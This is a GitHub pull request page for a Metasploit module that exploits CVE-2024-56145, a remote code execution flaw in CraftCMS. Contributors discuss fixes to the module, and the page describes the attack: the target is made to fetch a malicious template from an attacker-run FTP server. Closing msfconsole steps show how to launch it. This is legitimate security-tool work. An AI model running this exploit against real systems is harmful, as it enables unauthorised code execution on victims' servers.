-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CraftCMS FTP Template Exploit (CVE-2024-56145) #19772
base: master
Are you sure you want to change the base?
Conversation
Hello @jheysel-r7, I’ve opened a PR (jheysel-r7#5) into your branch with the following changes:
Let me know if you have any feedback or further suggestions! Best, |
Fix and enhance CraftCMS FTP exploit module
Hey @Chocapikk, Thank you so much for digging into the issue and pushing a fix with documentation. Very much appreciated! I was just returning to work on this, perfect timing. I've pulled in your PR and made a couple minor changes. I readded the slight hack for the SSL datastore option. If the target CraftCMS application uses SSL over HTTP and you have the SSL datastore option set to true, the same datastore option gets used when starting the FTP server unfortunately so we need to temporarily disable it when starting the FTP server. There was a mix of normal if statements and ternary operators in the overridden FTP Server methods. I thought it would be best to stay consistent and although they take up more lines I find normal if statements slightly easier to follow. |
Hi @jheysel-r7, you're welcome! No problem at all, and thank you as well for implementing the changes. |
Adds an exploit module for CVE-2024-56145 which is a RCE in version prior to 3.9.14, 4.13.2, and 5.5.2. The module sends a GET request which instructs the application to reach out to an attacker controlled FTP server to download a
.twig
(or.html
) file which contains a malicious payload.Verification Steps
msfconsole
use exploit/linux/http/craftcms_ftp_template
set rhosts <target-ip>
set rport <target-port>
set lhost <attacker-ip>
exploit